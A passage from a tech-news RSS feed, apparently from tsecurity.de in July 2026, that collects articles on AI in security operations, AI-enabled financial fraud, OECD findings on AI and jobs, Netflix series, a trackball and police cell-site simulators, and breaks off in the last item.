<p class="wp-block-paragraph">Most technology transitions unfolded over years. Organizations had time to evaluate, pilot, deploy and gradually adapt operating models.</p>



<p class="wp-block-paragraph">The current AI cycle moves at a different pace.</p>



<p class="wp-block-paragraph">Capabilities improve continuously. New models arrive every few months. New research emerges every few weeks. Security teams absorb developments at the same time attackers do.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Vulnerability discovery</a> provides a useful example. Security teams have long operated around a familiar cycle of discovery, validation, remediation and protection. AI systems accelerate every stage of that process. Similar patterns exist in phishing, reconnaissance, social engineering and attack planning.</p>



<p class="wp-block-paragraph">A vulnerability that once moved through that cycle over weeks increasingly now moves through those stages in days or, in some cases, hours.</p>



<p class="wp-block-paragraph">Attackers are already operating at the speed of AI. Defenders are now focused on reaching the same level of operational speed.</p>



<p class="wp-block-paragraph">This shift is changing the questions CISOs ask.</p>



<p class="wp-block-paragraph">Early discussions focused on capability. Could AI investigate alerts accurately? Could it operate reliably in production environments? Could it be trusted with meaningful security work?</p>



<p class="wp-block-paragraph">As organizations gained experience with AI, the discussion shifted toward implementation. Security teams began evaluating where AI could create operational leverage and how quickly they could deploy it into existing workflows.</p>



<p class="wp-block-paragraph">Today, many CISOs are focused on timing.</p>



<p class="wp-block-paragraph">The pace of advancement is influencing planning horizons, budget decisions and operating-model discussions. Security leaders are evaluating how quickly they can introduce AI into investigations, threat hunting, detection engineering and response workflows. Boards are asking questions. Executive teams are paying attention.</p>



<p class="wp-block-paragraph">Security programs that once viewed AI as a future initiative increasingly view it as a current operational priority.</p>



<p class="wp-block-paragraph">The industry is moving from evaluating AI as a technology to incorporating AI as a security capability.</p>



<p class="wp-block-paragraph">The timeline compression creates pressure on the traditional security operations model. Investigation speed, response speed and defensive coverage increasingly determine whether organizations can keep pace with adversaries operating with AI assistance.</p>



<h2 class="wp-block-heading">Security operations are entering a new phase</h2>



<p class="wp-block-paragraph">The impact of AI is becoming particularly visible inside the SOC.</p>



<p class="wp-block-paragraph">Many security operations centers were built around a straightforward assumption: alerts flow to human analysts who conduct investigations. Operational capacity scales primarily through hiring.</p>



<p class="wp-block-paragraph">The volume of security data, the number of alerts and the complexity of modern environments have steadily increased. Security teams have responded by building processes, adding tools and creating specialized analyst roles.</p>



<p class="wp-block-paragraph">AI introduces a new source of operational capacity.</p>



<p class="wp-block-paragraph">Investigations that require analysts to examine dozens or hundreds of artifacts across endpoint, identity, cloud, network and email systems can now be performed in minutes. Analysts gain access to investigative depth and consistency that would be difficult to achieve manually at scale.</p>



<p class="wp-block-paragraph">Many security leaders now view this capability through the lens of operating model design. They are examining how investigations are performed, how work is distributed and where human expertise creates the greatest value.</p>



<h2 class="wp-block-heading">The evolution of the analyst role</h2>



<p class="wp-block-paragraph">One of the most important developments emerging from early production deployments is the <a href="https://www.csoonline.com/article/4163299/the-manager-of-agents-how-ai-evolves-the-soc-analyst-role.html">evolution of analyst responsibilities</a>.</p>



<p class="wp-block-paragraph">Security analysts remain central to security operations. Their expertise becomes even more valuable as AI systems take on larger portions of investigative work.</p>



<p class="wp-block-paragraph">Threat hunting, detection engineering, response strategy, governance and oversight are receiving increased attention. Analysts spend more time shaping how investigations are conducted, evaluating outcomes and improving overall security operations.</p>



<p class="wp-block-paragraph">Many organizations are already beginning this shift.</p>



<p class="wp-block-paragraph">Teams are investing more heavily in proactive security activities. Detection engineering programs are expanding. Threat hunting is becoming more accessible. Analysts are spending more time improving systems and less time repeating investigative tasks.</p>



<p class="wp-block-paragraph">These changes create what I think of as an analyst-amplified SOC: an environment where AI expands the reach of security professionals and enables deeper security work across the organization.</p>



<h2 class="wp-block-heading">Trust is critical and it doesn’t have to compromise speed</h2>



<p class="wp-block-paragraph">Faced with a compressing timeline, the instinct is to treat speed and trust as a trade-off, i.e., move faster, verify less. That trade-off feels inevitable. It isn’t.</p>



<p class="wp-block-paragraph">You don’t trust AI in the abstract. You trust that a system understands your tools, your telemetry and the edge cases that only exist in your network. The problem was never speed. It’s speed without context. The faster a context-blind system runs, the more decisions you’re left unable to verify.</p>



<p class="wp-block-paragraph">The tension eases when the system is quick to deploy and tunes to your environment once it’s there, rather than treating every network the same. Speed stops being the thing you trade against trust. The more it learns about your environment, the sharper and more trustworthy it becomes, so the two compound rather than compete. Trust still develops through operational evidence such as measurable outcomes, visibility into decisions and consistent performance. But where that evidence accrues matters.</p>



<p class="wp-block-paragraph">The organizations making the fastest real progress understand this. They don’t compromise quality and trust for speed. They invest in AI that earns trust inside their own environment, so they don’t have to choose.</p>



<h2 class="wp-block-heading">Leadership during a period of rapid change</h2>



<p class="wp-block-paragraph">The conversations surrounding Mythos and Glasswing reflect a broader reality facing security leaders.</p>



<p class="wp-block-paragraph">AI is becoming part of both offense and defense. Security teams are incorporating it into investigations, detection engineering, response workflows and threat hunting. Attackers are incorporating it into their own operations.</p>



<p class="wp-block-paragraph">Security leaders have an opportunity to modernize operating models, expand defensive capacity and build organizational experience while these capabilities continue to evolve.</p>



<p class="wp-block-paragraph">The organizations making progress today are investing in readiness. They are building experience, adapting workflows and preparing teams for a new model of security operations.</p>



<p class="wp-block-paragraph">The next phase of cybersecurity will be defined by how effectively organizations combine human judgment with machine-scale execution.</p>



<p class="wp-block-paragraph">The question facing security leaders is increasingly clear: How quickly can their organizations adapt to a continuously changing threat environment?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Middle East faces new cyber reality: attackers logging in, not breaking in]]></title>
<description><![CDATA[Geopolitical tensions, stolen credentials and increasingly rapid attacker movement are reshaping the Middle East’s cyber threat landscape, putting pressure on organisations to look beyond traditional, alert-driven security models]]></description>
<link>https://tsecurity.de/de/3685633/it-nachrichten/middle-east-faces-new-cyber-reality-attackers-logging-in-not-breaking-in/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685633/it-nachrichten/middle-east-faces-new-cyber-reality-attackers-logging-in-not-breaking-in/</guid>
<pubDate>Wed, 22 Jul 2026 10:21:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Geopolitical tensions, stolen credentials and increasingly rapid attacker movement are reshaping the Middle East’s cyber threat landscape, putting pressure on organisations to look beyond traditional, alert-driven security models]]></content:encoded>
</item>
<item>
<title><![CDATA[Forget traditional shipbuilding: Saronic’s new $3.2 billion 'Port Alpha' autonomous navy drone shipyard will be bigger than every 2026 World Cup stadium combined]]></title>
<description><![CDATA[$3.2 billion 'Port Alpha' autonomous shipyard will boost drone production in the US.]]></description>
<link>https://tsecurity.de/de/3684786/it-nachrichten/forget-traditional-shipbuilding-saronics-new-32-billion-port-alpha-autonomous-navy-drone-shipyard-will-be-bigger-than-every-2026-world-cup-stadium-combined/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684786/it-nachrichten/forget-traditional-shipbuilding-saronics-new-32-billion-port-alpha-autonomous-navy-drone-shipyard-will-be-bigger-than-every-2026-world-cup-stadium-combined/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[$3.2 billion 'Port Alpha' autonomous shipyard will boost drone production in the US.]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix Reveals First Look at My Brilliant Career, Confirms August Premiere]]></title>
<description><![CDATA[Netflix has released the first trailer and new images from My Brilliant Career, confirming that the Australian period drama will premiere worldwide on August 13, 2026.



My Brilliant Career Brings an Australian Classic to Netflix




https://www.youtube.com/watch?v=WoPbcfUmMYw




The six-part s...]]></description>
<link>https://tsecurity.de/de/3684385/ios-mac-os/netflix-reveals-first-look-at-my-brilliant-career-confirms-august-premiere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684385/ios-mac-os/netflix-reveals-first-look-at-my-brilliant-career-confirms-august-premiere/</guid>
<pubDate>Tue, 21 Jul 2026 18:42:13 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix has released the first trailer and new images from My Brilliant Career, confirming that the Australian period drama will premiere worldwide on August 13, 2026.



My Brilliant Career Brings an Australian Classic to Netflix




https://www.youtube.com/watch?v=WoPbcfUmMYw




The six-part series adapts Miles Franklin’s influential 1901 novel of the same name. Philippa Northeast leads the cast as Sybylla Melvyn, an ambitious young woman living in rural Australia who dreams of becoming a successful writer.



Sybylla wants to build an independent and exciting life, although her family expects her to follow a more traditional path. Her plans become more complicated after she meets Harry Beecham, a wealthy neighbour who develops strong feelings for her.



Christopher Chung plays Harry, while Anna Chancellor appears as Sybylla’s grandmother, Mrs Bossier. The cast also includes Genevieve O’Reilly as Aunt Helen, Kate Mulvany as Gussie Beecham and Jake Dunn as Frank Hawden. Alexander England, Sherry-Lee Watson and Miah Madden also have supporting roles.



First Look Shows Sybylla’s Fight for Freedom



The first footage introduces Sybylla as outspoken, determined and unwilling to let marriage decide her future. She wants to write stories and experience a larger world, even when the people around her question her choices.



The images also highlight the series’ Australian countryside, grand family homes and detailed period costumes. Production took place across South Australia, including locations near Penola and Adelaide Studios. Around 400 local cast and crew members reportedly worked on the project.



Liz Doran developed and co-wrote the adaptation, with Alyssa McClelland and Anne Renton directing the episodes. The series presents Franklin’s coming-of-age story for a new audience while keeping its focus on ambition, romance and personal freedom.



The novel previously inspired the acclaimed 1979 film starring Judy Davis and Sam Neill. Netflix’s version expands the story across six episodes, giving more time to Sybylla’s family relationships, romantic struggles and determination to choose her own career.



My Brilliant Career premieres August 13, 2026, exclusively on Netflix.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ricky Gervais Says ‘Alley Cats’ Takes a New Approach to Adult Animation]]></title>
<description><![CDATA[Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances...]]></description>
<link>https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances, improvisation, and emotional storytelling ahead of its August 7, 2026 premiere.



The six-episode series follows a gang of foul-mouthed feral cats trying to survive while navigating everyday life in a harsh human world. Alongside its sharp humor, the show also explores friendship, grief, and mortality through the lives of its feline characters.



Ricky Gervais Wanted to Change How Animated Shows Are Made



According to Gervais, the biggest difference with Alley Cats came before the animation even started.



Instead of recording each actor separately in a sound booth, he insisted on bringing the entire cast together for every episode. The group performed scenes at the same time, allowing conversations to flow naturally and giving actors room to interrupt, react, and improvise.



Gervais explained that each recording session lasted far longer than the final episode. With nearly two hours of material recorded for a 15-minute episode, the creative team could choose the funniest moments while keeping performances spontaneous and realistic.



He believes that "audio is king" in animation, and the visuals should support the performances instead of limiting them.



Improvisation Created Some Wild Moments



That recording style led to plenty of unexpected comedy.



Diane Morgan revealed that many improvised jokes became far too outrageous to make the final cut. She credited fellow cast member David Earl for pushing scenes into completely unpredictable territory, often forcing the team to stop and ask whether certain jokes could actually stay in the series.



Those sessions helped create conversations that sound less scripted and more like friends talking naturally.



A Cast Built Around British Comedy



Gervais described the voice cast as the "Avengers of British comedy" because he wrote many characters specifically for actors he has worked with before.



Tom Basden voices Ponce, a well-kept house cat whose education and manners constantly clash with the rough street cats around him. Basden says Ponce often acts like an outsider while secretly understanding the softer side of Gus, voiced by Gervais.



Diane Morgan plays Olive, a cheerful but not particularly bright cat whose simple outlook adds another layer of comedy. Morgan joked that Olive quickly loses interest in Ponce after learning one unexpected detail about him.



Comedy With Genuine Emotion



Although Alley Cats promises plenty of crude jokes, Gervais says the series also explores emotional themes that have appeared throughout his previous work.



One important storyline follows the group caring for a lost kitten while confronting the reality of death for the first time. Gervais explained that childhood memories about losing pets inspired those scenes and shaped the emotional core of the series.



Morgan said viewers may expect nothing more than "sweary cats," but the show eventually delivers emotional moments that stay with the audience. Basden added that the story also looks at humanity's relationship with nature and the uncertainty every living creature faces.



Music and Release Date



The soundtrack will include songs from Cat Stevens, Coldplay, and Van Halen. Gervais also confirmed that The Smiths' classic "There Is a Light That Never Goes Out" appears in the series after both Morrissey and Johnny Marr approved its use, with Marr donating his licensing fee to an animal charity.



Alley Cats premieres globally on Netflix on August 7, 2026. The adult animated sitcom has already generated strong interest following its Annecy Festival preview, where audiences received an early look at the first two episodes.]]></content:encoded>
</item>
<item>
<title><![CDATA[First Look: The Expert Mouse Pro TB900 EQ is Kensington’s most advanced trackball yet, built for speed, comfort, and serious productivity]]></title>
<description><![CDATA[Kensington’s Expert Mouse Pro TB900 EQ trackball brings 1 kHz polling, a redesigned ergonomic shape, upgraded buttons, and a smoother, more precise ball mechanism. It’s built for creators, productivity users, and anyone who wants speed and comfort without a traditional mouse.]]></description>
<link>https://tsecurity.de/de/3684011/windows-tipps/first-look-the-expert-mouse-pro-tb900-eq-is-kensingtons-most-advanced-trackball-yet-built-for-speed-comfort-and-serious-productivity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684011/windows-tipps/first-look-the-expert-mouse-pro-tb900-eq-is-kensingtons-most-advanced-trackball-yet-built-for-speed-comfort-and-serious-productivity/</guid>
<pubDate>Tue, 21 Jul 2026 16:28:07 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kensington’s Expert Mouse Pro TB900 EQ trackball brings 1 kHz polling, a redesigned ergonomic shape, upgraded buttons, and a smoother, more precise ball mechanism. It’s built for creators, productivity users, and anyone who wants speed and comfort without a traditional mouse.]]></content:encoded>
</item>
<item>
<title><![CDATA[OECD: Physical labor isn’t immune from AI disruptions]]></title>
<description><![CDATA[Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farmi...]]></description>
<link>https://tsecurity.de/de/3683551/it-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683551/it-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</guid>
<pubDate>Tue, 21 Jul 2026 13:34:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, <a href="https://www.oecd.org/en/publications/skills-in-the-ai-age_972bd15e-en.html" target="_blank" rel="noreferrer noopener">according to a recent study</a> by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.</p>



<p class="wp-block-paragraph">“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”</p>



<p class="wp-block-paragraph">The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles. </p>



<p class="wp-block-paragraph">OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.</p>



<p class="wp-block-paragraph">The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.  </p>



<p class="wp-block-paragraph">But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.</p>



<p class="wp-block-paragraph">“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.</p>



<p class="wp-block-paragraph">The effects of the AI boom are not always uniform across industries or regions. In a separate <a href="https://www.oecd.org/en/publications/oecd-employment-outlook-2026_7e710f54-en.html" target="_blank" rel="noreferrer noopener">2026 Employment Outlook study</a> released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations. </p>



<p class="wp-block-paragraph">Numerous research firms have said in recent years that <a href="https://www.computerworld.com/article/4151328/ai-threatens-jobs-that-can-be-unbundled-2.html">AI is driving short-term job losses</a>, though tech industry experts and analysts have argued AI will also create new careers and jobs as <a href="https://www.computerworld.com/article/4100257/mit-creates-an-ai-labor-index-as-agents-invade-human-economies.html">agentic AI takes over low-skilled work</a>. </p>



<p class="wp-block-paragraph">AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.</p>



<h2 class="wp-block-heading">In the US, AI blamed for June job losses</h2>



<p class="wp-block-paragraph">According to a <a href="https://www.challengergray.com/wp-content/uploads/2026/07/Challenger-Report-June2600986996.pdf" target="_blank" rel="noreferrer noopener">Challenger, Gray &amp; Christmas study</a> released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.</p>



<p class="wp-block-paragraph">“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”</p>



<p class="wp-block-paragraph">Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.</p>



<p class="wp-block-paragraph">AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.</p>



<p class="wp-block-paragraph">“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”</p>



<p class="wp-block-paragraph">While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A <a href="https://www.comptia.org/en/resources/research/tech-jobs-report/" target="_blank" rel="noreferrer noopener">report this month by CompTIA</a> put job listings with AI skills at around 500,000, which is close to double the number in January.</p>



<p class="wp-block-paragraph">“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.</p>



<p class="wp-block-paragraph">That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.</p>



<p class="wp-block-paragraph">That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[US Police Now Armed With Israeli Spy Vans Simulating Mobile Phone Towers]]></title>
<description><![CDATA[Longtime Slashdot reader schwit1 quotes an X post by Josh Walkos, author of the Substack We the Free: If you thought Flock was bad check out Falconet. Falconet from Israeli company Cognyte serves as a cell tower simulator that intercepts cell phone data from all devices within range. Police mount...]]></description>
<link>https://tsecurity.de/de/3683474/it-security-nachrichten/us-police-now-armed-with-israeli-spy-vans-simulating-mobile-phone-towers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683474/it-security-nachrichten/us-police-now-armed-with-israeli-spy-vans-simulating-mobile-phone-towers/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Longtime Slashdot reader schwit1 quotes an X post by Josh Walkos, author of the Substack We the Free: If you thought Flock was bad check out Falconet. Falconet from Israeli company Cognyte serves as a cell tower simulator that intercepts cell phone data from all devices within range. Police mount these systems in Tahoes so the vehicles can collect information while driving through areas without any direct interaction with targets. This mobile approach generates ongoing records of phone locations and communications for everyone nearby rather than only suspects, which creates comprehensive movement profiles and bypasses traditional warrant requirements under the Fourth Amendment.
 
Cognyte sells the technology directly to U.S. agencies, as shown by the Texas Department of Public Safety purchase of four Tahoes where over three point eight million dollars went to the interception equipment. Adoption spreads through routine vehicle procurement with little external review of how the collected data is stored or shared. Once active the systems permit warrantless collection of private cell phone data across entire communities during normal patrols, which enables potential misuse and leaves individuals with no effective way to discover or contest the surveillance.<p></p><div class="share_submission">
